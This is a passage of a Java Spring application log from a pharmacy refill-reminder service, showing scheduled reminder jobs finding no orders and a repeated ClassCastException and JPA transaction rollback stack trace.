org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 02:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 02:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 02:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 02:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 03:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 03:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 03:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 03:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 03:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 03:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 03:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 03:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 03:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 03:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more